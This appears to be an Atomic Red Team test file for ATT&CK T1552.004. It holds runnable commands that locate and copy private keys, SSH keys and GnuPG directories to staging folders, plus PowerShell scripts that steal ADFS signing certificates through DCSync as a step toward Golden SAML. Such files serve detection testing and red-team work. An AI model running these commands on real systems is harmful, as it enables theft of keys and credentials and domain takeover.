attack_technique: T1552.004
display_name: 'Unsecured Credentials: Private Keys'
atomic_tests:
- name: Private Keys
  auto_generated_guid: 520ce462-7ca7-441e-b5a5-f8347f632696
  description: |
    Find private keys on the Windows file system.
    File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc
  supported_platforms:
  - windows
  executor:
    command: |
      dir c:\ /b /s .key | findstr /e .key
    name: command_prompt
    elevation_required: true
- name: Discover Private SSH Keys
  auto_generated_guid: 46959285-906d-40fa-9437-5a439accd878
  description: |
    Discover private SSH keys on a macOS or Linux system.
  supported_platforms:
  - macos
  - linux
  input_arguments:
    search_path:
      description: Path where to start searching from.
      type: Path
      default: /
    output_file:
      description: Output file containing locations of SSH key files
      type: Path
      default: /tmp/keyfile_locations.txt
  executor:
    command: |
      find #{search_path} -name id_rsa >> #{output_file}
    cleanup_command: |
      rm #{output_file}
    name: sh
- name: Copy Private SSH Keys with CP
  auto_generated_guid: 7c247dc7-5128-4643-907b-73a76d9135c3
  description: |
    Copy private SSH keys on a Linux system to a staging folder using the `cp` command.
  supported_platforms:
  - linux
  input_arguments:
    search_path:
      description: Path where to start searching from.
      type: Path
      default: /
    output_folder:
      description: Output folder containing copies of SSH private key files
      type: Path
      default: /tmp/art-staging
  executor:
    command: |
      mkdir #{output_folder}
      find #{search_path} -name id_rsa -exec cp --parents {} #{output_folder} \;
    cleanup_command: |
      rm #{output_folder}
    name: sh
- name: Copy Private SSH Keys with rsync
  auto_generated_guid: 864bb0b2-6bb5-489a-b43b-a77b3a16d68a
  description: |
    Copy private SSH keys on a Linux or macOS system to a staging folder using the `rsync` command.
  supported_platforms:
  - macos
  - linux
  input_arguments:
    search_path:
      description: Path where to start searching from.
      type: Path
      default: /
    output_folder:
      description: Output folder containing copies of SSH private key files
      type: Path
      default: /tmp/art-staging
  executor:
    command: |
      mkdir #{output_folder}
      find #{search_path} -name id_rsa -exec rsync -R {} #{output_folder} \;
    cleanup_command: |
      rm -rf #{output_folder}
    name: sh
- name: Copy the users GnuPG directory with rsync
  auto_generated_guid: 2a5a0601-f5fb-4e2e-aa09-73282ae6afca
  description: |
    Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the `rsync` command.
  supported_platforms:
  - macos
  - linux
  input_arguments:
    search_path:
      description: Path where to start searching from
      type: Path
      default: /
    output_folder:
      description: Output folder containing a copy of the .gnupg directory
      type: Path
      default: /tmp/GnuPG
  executor:
    command: |
      mkdir #{output_folder}
      find #{search_path} -type d -name '.gnupg' -exec rsync -Rr {} #{output_folder} \;
    cleanup_command: |
      rm -rf #{output_folder}
    name: sh
- name: ADFS token signing and encryption certificates theft - Local
  auto_generated_guid: 78e95057-d429-4e66-8f82-0f060c1ac96f
  description: |
    Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server.
    Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      AADInternals module must be installed.
    prereq_command: |
      if (Get-Module AADInternals) {exit 0} else {exit 1}
    get_prereq_command: |
      Install-Module -Name AADInternals -Force
  executor:
    command: |
      Import-Module AADInternals -Force
      Export-AADIntADFSCertificates
      Get-ChildItem | Where-Object {$_ -like "ADFS*"}
      Write-Host "`nCertificates retrieved successfully"
    cleanup_command: |
      Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
      Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
    name: powershell
- name: ADFS token signing and encryption certificates theft - Remote
  auto_generated_guid: cab413d8-9e4a-4b8d-9b84-c985bd73a442
  description: |
    Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer.
    Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
  supported_platforms:
  - windows
  input_arguments:
    adfs_service_account_name:
      description: Name of the ADFS service account
      type: String
      default: "adfs_svc"
    replication_user:
      description: Username with replication rights. It can be the Domain Admin running the script
      type: String
      default: "Administrator"
    replication_password:
      description: Password of replication_username
      type: String
      default: "ReallyStrongPassword"
    adfs_server_name:
      description: Name of an ADFS server
      type: String
      default: "sts.contoso.com"
  dependency_executor_name: powershell
  dependencies:
  - description: |
      AADInternals and ActiveDirectory modules must be installed.
    prereq_command: |
      if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name ActiveDirectory)) {echo 0} else {echo 1}
    get_prereq_command: |
      Install-Module -Name AADInternals -Force
  executor:
    command: |
      Import-Module ActiveDirectory -Force 
      Import-Module AADInternals -Force | Out-Null
      #Get Configuration
      $dcServerName = (Get-ADDomainController).HostName
      $svc = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq "#{adfs_service_account_name}"
      $PWord = ConvertTo-SecureString -String "#{replication_password}" -AsPlainText -Force
      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{replication_user}, $PWord
      # use DCSync to fetch the ADFS service account's NT hash
      $hash = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential -Server $dcServerName -AsHex
      $ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID $svc.Objectsid.Value -Server #{adfs_server_name}
      # Get certificates decryption key
      $Configuration = [xml]$ADFSConfig
      $group = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group
      $container = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
      $parent = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
      $base = "LDAP://CN=$group,$container,$parent"
      $ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))
      $ADSearch.Filter = '(name=CryptoPolicy)'
      $ADSearch.PropertiesToLoad.Clear()
      $ADSearch.PropertiesToLoad.Add("displayName") | Out-Null
      $aduser = $ADSearch.FindOne()
      $keyObjectGuid = $ADUser.Properties["displayName"] 
      $ADSearch.PropertiesToLoad.Clear()
      $ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
      $ADSearch.Filter="(l=$keyObjectGuid)"
      $aduser=$ADSearch.FindOne() 
      $key=[byte[]]$aduser.Properties["thumbnailphoto"][0] 
      # Get encrypted certificates from configuration and decrypt them
      Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $key
      Get-ChildItem | Where-Object {$_ -like "ADFS*"}
      Write-Host "`nCertificates retrieved successfully"
    cleanup_command: |
      Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
      Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
    name: powershell
